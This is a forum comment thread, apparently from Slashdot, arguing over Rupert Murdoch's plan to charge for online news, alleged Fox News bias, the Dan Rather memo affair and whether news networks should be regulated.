If you want to do something good*, do it Socrates-style and lead people into arguing against their own world view, until it becomes unsustainable. Then offer them an advantage in self-confidence when they "upgrade" to the new better world view. Everybody denies attacks to his world view. But nobody denies an upgrade in self-confidence. :)

___
* Unfortunately, "good" is also relative. So "good" is by definition, what's good for you. (Also indirectly trough your community.) But often this is far from good for others, even if you think it is. So either be fair even to their "sick and twisted" reality, because you respect every human. Or go full throttle, and make world better for *you*. Choose the one that gives the biggest evolutionary advantages to the one you want to have them. :)

Re:What a nice gift to progressives

[IDtheTarget]

It proves nothing. You can call a rose,a rose; and a pig, a pig; without being one your self. The history of Fox news is documented even in court cases...

In February 2003, a Florida Court of Appeals unanimously agreed with an assertion by FOX News that there is no rule against distorting or falsifying the news in the United States...During their appeal, FOX asserted that there are no written rules against distorting news in the media. They argued that, under the First Amendment, broadcasters have the right to lie or deliberately distort news reports on public airwaves. Fox attorneys did not dispute Akre's claim that they pressured her to broadcast a false story, they simply maintained that it was their right to do so. After the appeal verdict WTVT general manager Bob Linger commented, "It's vindication for WTVT, and we're very pleased... It's the case we've been making for two years. She never had a legal claim."

Hell, CNN's been doing this for years. Just look at the anti-gun stories that they've made up.

Re:What a nice gift to progressives

[DwySteve]

The Rather case was also not something you can claim as serious bias. The fact is everyone knows Bush deserted his guard service, possible to avoid drug testing in his flight physical because he was a heavy cocaine user at the time. The guard commander's secretary said what was in the letter was pretty plausible.

Whoa whoa whoa, it's not bias because it's true? Or, more accurately, you think it's true and you also assert everyone else thinks it's true? Why might everyone else think that it's true? Perhaps because Dan Rather said so? And lots of people didnt' catch the rest of the scandal where it was shown that the evidence was faked? Apparently though, you didn't catch the rest of the scandal because you insist it's real without any evidence that I can see except for the beliefs of others. And then you go on a tirade about how much you hate Bush and demagogue him. Your bias is clearly showing which makes me glad you weren't modded informative. In a post about how bias is undesirable you basically said 'Dan Rather isn't biased because I agree with him. Fuck Bush!'

Let's face it - some people will gravitate to the 'facts' that they agree with and leave all others in the dust. Whether it's Fox News or Dan Rather or the White House Press Secretary some people just want to be left in the dark.

Re:What a nice gift to progressives

[BooRolla]

Would you be able to post a link to the source? I'm genuinely interested in reading more

Re:What a nice gift to progressives

[bill_mcgonigle]

W's eight years in power may well have ended America's ascendancy and may have started a decline which may prove irreversible.

Sorry, FDR and Lyndon Johnson get to share that credit with the Sixteenth and Seventeenth amendments.

Bush merely menaced the country with the tools he was given. Laws >> Men.

Re:What a nice gift to progressives

[fulldecent]

>> I would like to know the IP range that Murdoch companies use, in order to block them from my content.

Well, you could start by reading your logs and seeing which articles they copied / when.

Re:What a nice gift to progressives

[brkello]

Yeah, he is completely wrong. Truth always has had a liberal bias.

Re:What a nice gift to progressives

[demachina]

Any biography of W you will find clearly tracks that he got in to the Texas Air National Guard using family connections to dodge the draft in Vietnam. He was, trained at great expense to fly obsolete jets that would never get sent to Vietnam. The Texas Air National Guard was designed for rich kids to dodge the draft, because they could become fighter jocks without any risk of seeing combat.

In the middle of his guard duty he moved to Alabama to work on a political campaign, and anecdotally party hard, though the evidence of his partying and drug use is he said, she said so you can't prove it either. It appears he did no guard duty while he was there. After that he headed to Harvard to get his MBA still before his Texas guard duty was over. You can't nail him for it because there is no documentation left in his Texas Guard files any more in how he managed to use Guard duty to get duck the draft, but fulfilled none of the obligations once he bolted Texas, and suffered no consequence.

As I said it is a weird case you will only find with the rich and powerful. It is clear from well established biography he didn't finish his guard service, he suffered no repercussions for deserting his guard service and there is no documentation on what happened or how he got away with it. It is pretty clear once he ducked his guard service he should have been prosecuted or drafted but wasn't.

So its not really bias to try to expose this sordid history of Bush, especially after he sent hundreds of thousands of Americans off to an optional war in Iraq, when he himself was for all practical purposes a draft dodger and deserter. Rather's team was just in a Catch-22, they knew the story to be true, but they also knew there was no way to prove it.

Re:What a nice gift to progressives

[demachina]

"Taking shortcuts leads to dead people, disinformation, becoming what you hate, so-on, and so forth."

Kind of like the Fox campaign to whip up a frenzy for the U.S. invasiona of Iraq. Can't say Bush/Rove/Cheney directed that Murdoch/Ailes Fox propaganda campaign, but it sure was exactly what Bush/Cheney needed because they wanted to attack Iraq, and they knew they really didn't have any justification to do it so they neded the help of Fox and Judith Miller at the NY Times to fabricate a case.

I can still remember the Fox news reports right before the war started claiming Saddam had drones he was going to use to spray U.S. cities with chemical and biological weapons. It was pure fantasy, class big lie propaganda, tell a lie so big people will believe it just because it is so big.

So in the Rather case you have something that cost NO lives, but did cost Rather his job. In the Fox propaganda campaign it helped whip up a frenzy for a war that KILLED hundreds of thousands of people.

Once again it is clear Rather case, little bias punished harshly, Fox case HUGE bias and they've gotten away with it unscathed for a decade. If anything there bias just boosts their ratings with the rocket scientists who still think Fox is telling the truth.

Re:What a nice gift to progressives

[raind]

Amen to that.

Re:What a nice gift to progressives

[mattwarden]

I actually disagree with you. For people who watch Fox News, there is no alternative. Say what you want, but O'Reilly gets ridiculous ratings (not sure why; just stating facts). Where are they going to go now... MSNBC? CNN? Doubtful.

Re:What a nice gift to progressives

[Mab_Mass]

W's eight years in power may well have ended America's ascendancy and may have started a decline which may prove irreversible.

Multiple times during Bush's presidency, I joined rallies in the street protesting what he did. I found him to be a pig-headed moron with his head so far up his ass he could taste his own scalp, but I think you're overstating things just a little bit.

Despite how much fun it is to bash Bush, presidents just don't have that much power. Much of the financial woes facing the U.S. are due to a lot of the land gold rush and rampant, short term materialism that started post WWII. Although he certainly didn't do anything to help stop it from happening, the bubble would have burst no matter who was president.

Then, throw in the fact that almost everybody was itching for war post 9-11, it is hard to put all of the bad things on him.

Trying to lay all of the US's troubles at his feet is just as bad as those who decry all of Obama's actions as the fast track to socialism.

Re:What a nice gift to progressives

[Mashiki]

If you don't think that attempting to directly influence a national election by direct manipulation is just a "little bias", you have more serious issues then I can deal with in just one post.

Re:What a nice gift to progressives

[demachina]

Dude CBS fired him for it...... get it..... bias punished.

Can you cite any case where Fox punished one of its reporters for lying. The most famous case of Fox and lying was Jane Akre. Fox tried to force her to lie on air about a Monsanto drug for dairy cows and when she refused Fox fired her. Fox won the appeal when the court determined it was OK for Fox to intentionally falsify the news. There is an FCC policy against lying in the news but.... but its only a policy, so Fox can do it all they want according to the appeals court, so apparently they do.

Do you just not get the difference. CBS did the ethical thing and fired the people responsible for bias. Fox on the other hand waged a lengthy court battle to defend its right to knowingly lie in their news casts.

I feel for the CBS team though. I dearly wish they HAD swayed the election because as bad as Kerry sucked, the last four years of Bush were almost certainly worse. Exactly how many cases of election manipulation did the Bush machine perpetrate that were MUCH worse than the CBS case. They ruthlessly destroyed John McCain in South Carolina in 2000 using a false story that he fathered a colored child. They did some pretty tacky things to block a recount in Florida in 2000, and they "Swift boated" Kerry. At this point "Swift Boating" is synonymous with voter manipulation. They managed to make someone who actually served in combat in Vietnam look bad versus Bush and Cheney who both dodged the draft and sat out Vietnam partying in the U.S.

Re:What a nice gift to progressives

[demachina]

Not sure I follow your exact point. The Seventeenth Amendment is a somewhat obscure change in how Senators are elected. Not sure how you can attribute it to the decline of America a hundred years later.

Sixteenth amendment and income tax, I can give you that one, I wish we didn't have that one either, and its a subject for debate if its been good or bad. Its certainly allowed the Federal government to bleed its population white and become bloated. Not sure America would have risen to be a super power without it though, so your point is a stretch.

I assume you didn't like FDR for his socialism, though Social Security and Medicare are wildly popular with most. FDR was the president during World War II when the U.S. began its ascendancy to super power status so not sure you can blame him for America's decline 60 years later.

Not sure what your beef is with LBJ, I assume it either Vietnam or you are opposed to the Civil Rights Act, which is a tough thing to oppose unless you are a segregationist. Are you a segregationist? Again not sure how you can blame a President from 40 years ago for something happening now.

Re:What a nice gift to progressives

[demachina]

Here is Jim Clark, founder of Netscape, on W:

        "Ironically, just at the time we needed to accelerate to remain competitive in 2000, we elected the worst president in history. He not only focused on all the wrong things -- starting wars, religious bigotry and zealotry, letting the financial system go unregulated, etc. -- he cut R&D funding for science and technology. Thanks largely to our insipid political leaders, we stalled for eight of the most important years in the past 100. The U.S. is resilient, but this is a lot to overcome. The world is pretty uniformly covered with smart people -- we have no patent on that. And with the Web/Internet now enabling them to learn and grow just as rapidly as us, we are far worse off now than we were in 2000."

You seriously underestimate the power the executive has in the U.S. The Executive controls ALL of the federal regulatory agencies. When Bush came to office he put right wing idealogues who hated government, IN CHARGE OF THE GOVERMENT. Their qualifications were usually based on campaign and religous credentials, not on qualification for the position. You don't put people who hate government in CHARGE of government unless you want a catastrophe which is what he got.

The instances of catastrophic failure that resulted are too numerous to list:

- FEMA director incompetent and New Orleans goes a week with little relief after Katrina
- EPA/NASA among others forced to altar positions on global warming
- DOJ was nearly destroyed by putting unqualified people in professional civil service jobs because they were loyal Republicans and born again, and Gonzales being appointed Attorney General finished the devastation
- SEC was completely disfunctional as a major financial crisis developed especially under Chrisopher Cox who was a rabid "free marketeer"
- R&D funding gutted
- FDA started working for the companies instead of regulating them and we now have a raft of unsafe foods and drugs
- NSA turned to spy on American citizens
- CIA turned in to an agency of torturers and law breakers. Also and agency humiliated by blessing an Iraq when there were no WMD's and no links to Al Qaeda

Re:What a nice gift to progressives

[Mashiki]

Here's the problem. CBS didn't want to fire him, they were perfectly happy with keeping him on the job until the shit started hitting the fan by everyone on both sides of the political spectrum. Policy isn't law however in the forms of a regulating body. That's why regulatory bodies don't make laws, the only make laws which "act in force." Breaking policy isn't "bad" per-se, unless the general public says it is. This is where you're missing the point, and that is why there's differences. This isn't semantics, this isn't even opinion.

One hand, most people considered it a non-issue(cows don't control nukes). The other, people considered it a direct manipulation of the press with an intention by the media to mislead. That's the difference.

Again, you've got more serious issues if you haven't figured that out already.

Re:What a nice gift to progressives

[demachina]

"As for deserting the national guard, he never did. He completed his requirements early and left when they were done. That's a far cry from desertion. What "everyone knows" is based on the false document."

OMG. You CAN'T just complete Guard "requirements early". Its a fixed term commitment like any military enlistment, in his case a six year commitment. He apparently did his first four years, but he totally punted on his last two years, apparently on his own authority, and NO ONE knows how he pulled that off.

This Wikipedia article goes in to great detail on this issue. It is completely inexplicable how he refused his mandatory flight physical, and was taken off flight statue, and there were no consequences. This is the point his guard records pretty much stopped......

"The Air Force regulation cited here, AFM 35-13 Para 2-29m[12] required the commander of Bush's Texas National Guard unit to "direct an investigation as to why the individual failed to accomplish the medical examination"[13] and no further documentation is known about this investigation."

All indications are the Guard had included drug testing as part of the physical and since he was suspected of being a heavy Cocaine user at the time he knew he wouldn't pass so he just refused to take it.

Re:What a nice gift to progressives

[bill_mcgonigle]

Not sure I follow your exact point. The Seventeenth Amendment is a somewhat obscure change in how Senators are elected. Not sure how you can attribute it to the decline of America a hundred years later.

The House and Senate are supposed to be balanced between the People and the States. The Seventeenth Amendment effectively emasculated States Powers because the States no longer had a direct vote in the Federal Government. Only with this was the massive centralization of power in Washington possible, which has lead to subsequent declines. The Laboratory of Democracy was effectively crushed with this measure.

Not sure America would have risen to be a super power without it though, so your point is a stretch.

Our economic output should have been just as great, probably better with a less expensive government. Probably not militarily, but being a military superpower was something our founders hoped to avoid, not wanting to become the next British Empire.

I assume you didn't like FDR for his socialism, though Social Security and Medicare are wildly popular with most.

And Social Security and Medicare will make up the entire Federal budget in the coming decades unless we have massive tax increases or massive inflation. Check out "10 Trillion and Counting" from PBS's Frontline, online or Netflix streaming for a good illustration (though I think they under-call the numbers). "When the citizens realize they can vote themselves the treasury, the democracy is finished."

Not sure what your beef is with LBJ, I assume it either Vietnam or you are opposed to the Civil Rights Act, which is a tough thing to oppose unless you are a segregationist. Are you a segregationist? Again not sure how you can blame a President from 40 years ago for something happening now.

His war-and-butter spending programs bankrupted the government which ultimately forced the US off the gold standard shortly into Nixon's term as there was simply no way to pay for government anymore with honest money. Every economic indicator of 'doom' takes a hockey-stick-like slope approach right about 1971, whether it's inflation, median household income, money supply, national debt, personal indebtedness, etc. Again, our founders knew that government could not be trusted with creating money - this has failed every time it's been tried, since Athens and perhaps before.

I very much believe in the Declaration of Independence's assertion that "all men are created equal" and find that governments repression of people based on their skin cells' melanocyte count (from Dread Scott through Brown v. Board of Ed) reprehensible. But if one cares about low-income (so-called 'black') America one needn't look much further than LBJ's 'Great Society' programs that keep poor Americans down. Check out Walter Williams's documentary "Good Intentions" on YouTube. It's 25 years old, and nothing has gotten better. A government that has racist policies of any type is immoral.

Besides that, LBJ made up the Gulf of Tonkin incident to bring America to war under false pretences. Once upon a time we called that 'treason'.

Re:What a nice gift to progressives

[sideshow]

So what you're saying is that when they do "it", it's bad. But when we do "it", it's good.

Got it.

Nick

Re:What a nice gift to progressives

[Areyoukiddingme]

Actually, the FOX lawyers repeatedly denied that the station ever pressured Ms. Akre to broadcast a false and misleading story in their court filings. They may or may not have made such arguments verbally in court. I haven't found copies of the transcripts. The relevant court filing is reproduced on a website run by a former news producer on behalf of Ms. Akre and Mr. Wilson: www.foxbghsuit.com/complaint.htm#RESPONSE

It repeatedly uses Fox's trademarked "fair and balanced" phrase, sometimes throwing in "accurate" for good measure. In paragraph 20, it explicitly denies that the station ever "ordered [Plaintiffs] to broadcast information they had demonstrated to be unfair, inaccurate, false and misleading."

This is a masterful piece of lawyerish weasel wording. The two reporters may have been ordered to broadcast information that is unfair. They may have been ordered to broadcast information that is inaccurate. They may have been ordered to broadcast information that is false. They may have been ordered to broadcast information that is misleading. But at no time were they ordered to broadcast information that is simultaneously unfair, inaccurate, false and misleading. Isn't it fun how one little word can make a statement strictly, legally true, while serving to convey precisely the wrong impression to a careless reader? This clever piece of legal judo is repeated again in paragraph 28, where they deny that the "Defendant ever ordered Plaintiffs to broadcast material known to be false and misleading..." Once again, they slip in the word 'and.' It might be argued that it's impossible for any material to be both false and misleading. The definition of misleading includes an assumption of some element of truth, utilized in a manner meant to give the wrong impression. False things, on the other hand, have no element of truth in them at all.

Regardless, it's a denial.

Now, did they argue that the FCC has no rule against distorting news? Oh yes, they did.

In paragraph 60, they wrote:

Defendant ... denies that the FCC has any rules or regulations regarding "rigging and slanting of the news..."

It doesn't get any clearer than that. They think can do anything they want and nobody can tell them otherwise.

Their arrogance and sense of entitlement shows up elsewhere too. There are two paragraphs that reveal FOX's attitude about how to go about producing their content. Paragraph 32 says:

Defendant admits that its attorney, Ms Forrest, advised Plaintiffs that Defendant's internal standard for accuracy demanded that any statements in a broadcast report challenged by suit be provably true on a motion for summary judgment and that Plaintiffs' continued insistence on including language in their report that would fail this standard was unacceptable and exposed Defendant to unnecessarily risky and expensive litigation.

This statement contains bizarre phrasing alluding to a circumstance that never existed: the report on recombinant bovine growth hormone was never broadcast, and therefore could not possibly have been challenged by suit. I don't even know what that sentence is supposed to mean. It certainly ends with a clear meaning though. Fox News content does not have to be true, but it can't expose Fox, in Fox's own opinion of exposure, to risky and expensive litigation from corporations with deep pockets like Monsanto.

Paragraph 28 says:

Defendant specifically admits that Mr. Boylan said the company had paid $3 billion for a group of ten stations, and the company was entitled to set up the pre-broadcast review process it chose and that, until Plaintiff Wilson owned his own station, he must follow Defendant's procedures.

I suppose that's reasonable, but it's amazing how snide it still sounds, even when being quoted by a lawyer in a legal filing. That was p

Gee...

[SoCalledNotion]

What a lovely coincidence. I deleted my MySpace account this afternoon. See you in hell, Tila Tequila.

Fox News

[Anonymous Coward]

Accordingly we intend to charge for all our news websites,' Murdoch said.

At least Fox News will still be free.

Re:Fox News

[mjwx]

At least Fox News will still be free.

As a side note, do USian's really watch fox news?

Forgive the cultural ignorance but as an Australia I'd never seen anything like Fox News before seeing it in Thailand. I watched it for about 1/2 an hour whilst sitting in a bar and there was not a shred of actual news on there all it seemed to be was scaremongering about Obama and the democrats. I'd be a bit less confused if they were using facts or at least logical conjecture but they were blaming Obama for the economic problems that started in the Bush administration and threw around the words "communist" or "socialism" at least once a sentence. I believe the report was on how Obama was destroying the country by Greta someone (cant remember, had hangover).

It was such blatant and obvious propaganda that eventually I had to ask the bar staff to change the channel (ended up with the Thai soap channel, at least that made the bar staff happy). Was my experience typical of Fox News? Fair enough I only saw about 30 minutes of it, I could have caught the "republican hour of power" without knowing but the channel is called Fox News not Fox Editorials, I kind of expected some news.

In Australia this wouldn't be permitted under the broadcasters or advertisers code of conduct. News must contain news, editorials must be in a separate program and may never be advertised as news (they call them "Current Affairs" programs and typically start right after the news).

Re:Fox News

[Chaos Incarnate]

The theory is that US citizens should be able to figure out for themselves whether what they're watching is news or editorial content, as opposed to having government regulators step in and control the press.

I'm still not sure how well that's worked out for us, though.

Re:Fox News

[grrrl]

As a fellow Aussie, I'd agree.. we're used to seeing a good, maintained, distinction between news and editorials. Well, except for news.com.au !!!

I think Fox News has its place, clearly people love to watch it, I personally can't stand it but I'm all for freedom of opinion. I really think though that the "news" moniker should be held to a high and defined standard (you'll never get rid of all bias or editing but leave speculation out of it) and everything else can say whatever they want but can't call themselves news per se.

Re:Fox News

[Dragonslicer]

Yes, Fox News has a pretty large viewership (I would guess that CNN, Fox, and MSNBC are approximately evenly split, but I don't watch any of them so I don't care enough to dig up any numbers), and yes, your assessment is fairly accurate. Sean Hannity, Glenn Beck, and Bill O'Reilly are probably the most well-known Fox News personalities, and they're all extreme ideologues (Beck also has the bonus feature of being completely fucking nuts). If you want a nice Best Of Fox News review, I recommend watching The Daily Show and The Colbert Report; while they'll still make fun of CNN (which seems to have become just a reading of Twitter messages from viewers) and MSNBC (which is almost as ideological as Fox News, but they generally manage to hide the crazy better), Fox News provides by far the most entertaining clips.

Re:Fox News

[camg188]

Fox news and all the other 24 hour news channels have a lot of commentator shows, particularly in prime time. A lot of people responding here don't seem to recognize the difference between commentators and news.

Re:Fox News

[mjwx]

(you'll never get rid of all bias or editing but leave speculation out of it)

I was taught in high school science classes that you cant eliminate your bias, so you have to recognise and state any bias before an experiment can begin.

Re:Fox News

[mjwx]

Fox news and all the other 24 hour news channels have a lot of commentator shows, particularly in prime time. A lot of people responding here don't seem to recognize the difference between commentators and news.

Yeah, I've noticed that too. The little of Fox news I watched was easy to recognise as an editorial, I don't like the fact that it's advertised as News. The BBC is not permitted to advertise it's editorials as news so we end up with BBC World as a channel full of various special reports, commentary and current affairs. Less politically motivated but still it's not news and often has a bias to it.

Re:Fox News

[CyprusBlue113]

As much as I dislike the content that fox news reports as news. I will stand and fight for their right to do so as given by the constitution for a very good reason. You can't have freedom of the press on one hand, and then demand they conform to what you deem to be the truth, no matter how correct you may be on what the truth is. Yes I wish that people in general were smarter and would try to verify their ramblings, and look past the talk, but life is what it is. I also wish that we had a news station more like the Daily Show in format, at least then we could have some actual rebuttal to some of the more flagrant biases. While I realize that the Daily Show is purely a comedy show, it is a constant dissapointment to me how they are generally much better at reporting accurate news than the news stations themselves.

Re:Fox News

[spyowl]

You'd be surprised how many people in the U.S. watch Fox News. In fact, they are very successful here. My personal theory is that U.S. is just like many other countries with large populations (Russia, China, Indonesia come to mind) where people are hungry and very susceptible to be told how to think.

Let me give you a brief overview: this is how it works - everything is deduced and painted in black and white for you; you identify the side you don't like and associate yourself with the other side - everything has 2 sides, you see.

By associating yourself with one side you inherit all labels (e.g. conservative, capitalist, patriotic, etc.) associated with it and are told how the people under the labels on the other side (democrats, liberals, socialists, etc.) are bad. In fact media like Fox News, or radio stations need not provide any factual news for you - all they have to do is spoon-feed you the negative opinions about the other side which is supposed to give you warm fuzzies listening to the guys on your side.

God forbid someone provide a third or fourth point of view on any political subject - that would not easily be allowed on TV. People are taught there are 2 sides to every coin - can you imagine what would happen if there was another point of view that didn't fit the 2-sided theme?! The "news" channels would be losing their audience. On a very rare occasion it happens, they sometimes call it "oh, an interesting angle" and dismiss it as that, continuing their propaganda programming.

Yeah, that's pretty much how it works.

Re:Fox News

[mqduck]

What you saw is 100% typical. Fox News really makes no effort at concealing its nature as propaganda. It's like US vs. Iranian democracy: sure, ours may be a scam as well, but at least we have the decency to pretend it's not rigged.

Anyway, to answer your question: Yes, it's watched. In fact, last I heard (this was before Bush's falling out of favor here), it was the most-watched 24-hour news channel by a significant margin, though not a majority by itself.

Re:Fox News

[Jester99]

Millions watch it every day. And take what they say seriously. The 30 minutes you saw were probably representative of the whole day. The talking head changes, the unapologetic agenda they advance doesn't.

Re:Fox News

[mjwx]

As much as I dislike the content that fox news reports as news. I will stand and fight for their right to do so as given by the constitution for a very good reason.

I agree with your principal but I also believe in truth in advertising. I'm not allowed to sell an empty cardboard box as a house, that is misrepresentation (fraud). The same should apply to media, in Australia it does, its called Truth in Advertising. So FoxNews may operate but they may not call themselves "news" or advertise anywhere that they are "news" channel. They can call their station FoxEditorials, or FoxCommentary but not FoxNews. The Beeb does this, BBC News is only news, their editorial/commentary channel is called BBC World.

To me calling FoxNews, FoxNews is akin to shouting fire in a crowded theatre, deliberately misleading with intent to deceive (defraud). I like you defend Fox's right to say what they want just not under the moniker of news.

Re:Fox News

[Insipid Trunculance]

The theory is that US citizens should be able to figure out for themselves

HA HA Ha .....Did you really expect that In the land of sprayable cheese???

Re:Fox News

[Garrett Fox]

You're welcome to have your own government protect you from having to make your own judgments. Ours has no authority to give us that "protection"; what a shame.

Re:Fox News

[Garrett Fox]

Oh, and isn't Australia's government also working on installing mandatory Internet filtering, to further protect you?

Re:Fox News

[novakreo]

In Australia this wouldn't be permitted under the broadcasters or advertisers code of conduct.

Are you serious?
Foxtel, Optus TV, and Austar already carry Fox News on their basic packages.

Re:Fox News

[VJ42]

sprayable cheese???

Whiskey. Tango. Foxtrot.
What the hell is "sprayable cheese"? More to the point, what sort of atrocity would you have commit to make a mature Cheddar, red Leicester, Stilton or Bree to make it "sprayable"... The mind boggles.

Re:Fox News

[smchris]

Sometimes the North too. I was in a metro Taco Bell a couple years ago with sort of a weird floor plan where the dining area wasn't at all visible from the counter. TV was tuned to a daytime movie. Worker drone comes in and starts quizzing the guy under the TV, "Did you change the channel? Oh, man. I could get in trouble." And then he changed it, apparently back, to FOX news.

Re:Fox News

[Jason Levine]

As others have said, yes many people watch Fox News and buy right in to the "accurateness" of their "reporting."

While getting my car fixed recently, I had the opportunity to see a small segment of a Fox News broadcast. They were reporting on Italy accepting some of the Guantanamo Bay detainees. They phrased it as (from memory): "Are you going on vacation? Well, Obama might be sending terrorists to your favorite vacation spot." Another, related, segment showed three bearded guys on a beach as they claimed that Obama was sending terrorists to an island paradise. The truth of the matters was that Italy won't be putting the detainees up in vacation resorts, but prisons. (Don't think many people go to Italy to vacation in the prisons there.) As for the bearded guys on the beach, those were detainees that were released and the only nation willing to take them happened to be an island nation. I had heard before (on Slashdot and elsewhere) about how biased Fox News was, but I was unprepared for the spin levels involved. They're the political/news equivalent of the Scrambler ride: They spin the truth around and around until you can't tell which way is which and you feel like you're going to hurl.

Re:Fox News

[Grapes4Buddha]

Sadly, there are a LOT of americans that watch (and believe!) Fox news. Worse, they parrot all of the propaganda as if it were truth. I also know some americans who think that all new sources have the same level of bias as Fox, so they also watch CNN and they think that they are getting a valid viewpoint by splitting the difference between what Fox is spewing and what CNN is reporting. Not that I'm really defending CNN, as they also have a lot of junk. But that is really due to the 24-hour news cycle more than any innate bias.

Re:Fox News

[dcollins]

"Was my experience typical of Fox News? Fair enough I only saw about 30 minutes of it, I could have caught the "republican hour of power" without knowing but the channel is called Fox News not Fox Editorials, I kind of expected some news."

Yes. 24 hours a day, every day, it's like that. The founding CEO Roger Ailes was formerly the media conbsultant for Richard Nixon, Ronald Reagan, and George H.W. Bush (Republican U.S. presidents). Fox News is the number-one rated cable news network in the United States, beating the next two combined (CNN and MSNBC).

When I drive through the large middle part of the U.S., Fox News is playing all the time in public bars, restaurants, clubs, etc. I fear that it's enormously corrosive and brainwashing to our country's discourse.

http://en.wikipedia.org/wiki/Fox_news

Re:Fox News

[Icegryphon]

Slow Anon-kun, is slow.

Re:Fox News

[misexistentialist]

Do you Commonwealthians really think your "permitted" news is any better? I suggest you set up a vast filtering scheme instead so that you will at least get black screens when objectionable and offensive material is aired.

Re:Fox News

[xigxag]

Of course the US government could do such a thing. There's no Constitutional right to defraud consumers. However, in point of fact, no fraud takes place because It's simply not our national tradition to consider "news" as being of necessity factual, unbiased reporting. And it never was, except during the early years of the Cold War when the government was able to keep televised network news in line and was able to benefit from the propaganda value of the illusion of news as fact. But particularly after Watergate, when the networks got cocky with the idea of uncovering government malfeasance, it was no longer beneficial to the government for the Evening News to be considered an unvarnished source of truth, so that bit of Cold War ideology went out the window, and in came the postmodern idea of all "news" as spin.

Re:Fox News

[Nimey]

Oh yes, some USians certainly do watch Fox News, generally those with Republican tendencies.

I have the same reaction to their content as you do; it's obviously slanted and meant to pander to the audience's (and owner's) biases.

Re:Fox News

[brkello]

Beck used to write commentaries for CNN. He doesn't anymore. He now has a show on Fox News.

Re:Fox News

[nelsonal]

There's both news and editorializing. If the program name contains a person's name (The O'Rielly Factor, Hannity and Combs (is that still on?) Glen Beck) it's generally editorializing, and if it's unnamed it's news. US Television news though is almost entirely human interest stories these days, though.

Our first amendment means you can pretty much call things whatever you want so long as there isn't an obsenity in the program name (even that would be ok if you don't use the airwaves). The founders had a very high regard for the listener's ability to sort through content, and a deep fear of trampling little voices that would go unheard with regulation.

Re:Fox News

[thetoadwarrior]

They should have the right to express themselves but, like all freedom, there are responsibilities tied to it and out right lies being labelled as news shouldn't be covered by freedom of the press.

If he wants to spout lies do it under a label other than news.

Re:Fox News

[thetoadwarrior]

That's because viewers of Fox news can't tell the difference either and while it's clear which is news & which is editorial, the fact is it shouldn't be labelled as news. It will cause confusion for idiots because they hear Beck or whoever telling them what they say is fact and the person is watching a news channel.

Trust me, I've been unfortunate enough to meet your average Fox new viewer and they are thick as pig shit.

Re:Fox News

[bogjobber]

Fox News is *extremely* successful, but it's also on cable/satellite, where it competes with the more mainstream CNN and the liberal MSNBC. A lot of people watch it, but it's getting more marginalized as the country moves a tiny bit to the left and Fox News gets even crazier. For example, Glenn Beck is one of the most popular personalities on the channel, and he's completely fucking insane.

Re:Fox News

[mjwx]

Oh, and isn't Australia's government also working on installing mandatory Internet filtering, to further protect you?

You mean that policy that was voted down almost 4 months ago. Unless you are suggesting we censor Minister Conroy because his views are unpopular.

Re:Fox News

[mjwx]

You're welcome to have your own government protect you from having to make your own judgments. Ours has no authority to give us that "protection"; what a shame.

So, you think its OK to deliberately misrepresent a product.

My cardboard box^W^W house is going for a mere US$50,000.

Remember that it's my governments "protection" that kept Australia out of the financial Apocalypse by forcing all financial institutions to maintain a certain percentage of liquidity. What a shame.

Re:Fox News

[Eil]

it is a constant dissapointment to me how they are generally much better at reporting accurate news than the news stations themselves.

That's the genius part of the Daily Show. They show politics and the media for how ridiculous they really are. After watching a few episodes, you then watch normal news and start wondering why the anchors aren't cracking jokes at the clip they just played.

Re:Fox News

[mgblst]

Well, as an Australian, you are fucking ignorant because in Australia the main cable provider is fox, and they run a very popular news service called sky news.

And, in Australia, if you aren't watching ABC news or SBS news, then you might as well be watching fox. So get of your high kangaroo cobbber. Ch 10, 9 and 7 are no different, and a not worth the radio waves.

The Best Quote

[Anonymous Coward]

"Quality journalism is not cheap..."

Yeah, and no amount of money is going to change the quality of any rag run by Murdoch.

Re:The Best Quote

[BuckaBooBob]

Well it just depends on how big of a corp and how strong of lobby group he can buy before the bank is empty...

After all.. Would it be beyond big business to get laws passed to extend the life of a bad business model?

Next thing we could start seeing the end result seeing "We have the rights to this story and you have to pay us to read it on our news site" start to pop up..

Re:The Best Quote

[blackraven14250]

Nah, on closing the browser or navigating away, they'll go with "We own the rights to this story, and since you read it, now you have to pay up. We recorded your IP, and if you close this window, it will automatically contact your ISP immediately."

It won't work.

[Coopjust]

I think it's really quite sad that Rupert Murdoch thinks this will work, given the number of quality, professional news sources online that are free.

I think Rupert's eying the success of the Wall Street Journal as an online subscription site a little too much. What works for the WSJ won't work for other papers, IMO.

Re:It won't work.

[Anonymous Coward]

Yes, but he doesn't compete with quality, professional news sources.

Re:It won't work.

[Jah-Wren Ryel]

I think it's really quite sad that Rupert Murdoch thinks this will work, given the number of quality, professional news sources online that are free.

The dunce bought MySpace for over half a billion thus winning runner-up for long-term stupid -ebay buying skype for 2.5 billion being the winner of that particular race. He may have been a business talent back in they days of paper dinosaurs and celluloid heroes, but when it comes to the net, he's just following all the other sheep.

Re:It won't work.

[kamapuaa]

I think it's really quite sad that Slashdot viewers think they understand the industry better than Rupert Murdoch. All that crazy hubris could be used someplace more effective.

Anyway one of the man's first moves after buying Barron's and the Wall Street Journal was to make the content freely available on the web. It would seem that they tried it, and it didn't work.

Re:It won't work.

[CodeBuster]

That is a good point actually. The WSJ is really a cut above most other papers and one of the few out there that are genuinely worth paying for. However, in the Internet age there is really only room for so many top quality papers at the top; IMHO, basically one each for the right and left per nation. So it remains to be proven that the WSJ model will work for second and third tier papers, but I suspect the answer to that is probably "no".

Re:It won't work.

[sumdumass]

Actually, you are partially right. Many of the WSJ articles are freeley availible for a limited amount of time. It's more of a hybrid pay site with more free access then when it was a complete pay site. You can go there right now and browse most all current stories. What the subscription does is give detailed access and historical content and access to some storied which they decided wasn't free. You also get access to the WSJ europe and Asia additions in the same respect.

There is a lot of free content on the WSJ which is why all these other people claiming that he will go under are clueless about the situation. It looks like there are enough articles availible freely that people will become interested in visiting and pay to get more.

I also think this will have some sort of cross site subscription model (like with the WSJ having access to the Europe and Asia editions also). Perhaps a yearly subscription would give you access to all regional news site holdings or something.

Re:It won't work.

[Powerbear]

Just because there are a number of quality news sources now that are available for free. It doesn't mean this will always be the case.

Print is currently subsidizing the online stuff. Revenues are constantly decreasing.

There will come a point where the number of quality sites will be so infrequent that a quality site will be worth paying for.

As soon as someone can come up with a workable micropayment system, everyone will jump on board.

This looks like another opportunity for Steve Jobs....

Re:It won't work.

[WiiVault]

Yeah because sites that charge for things like news sure have done well in the past...

Re:It won't work.

[peas_n_carrots]

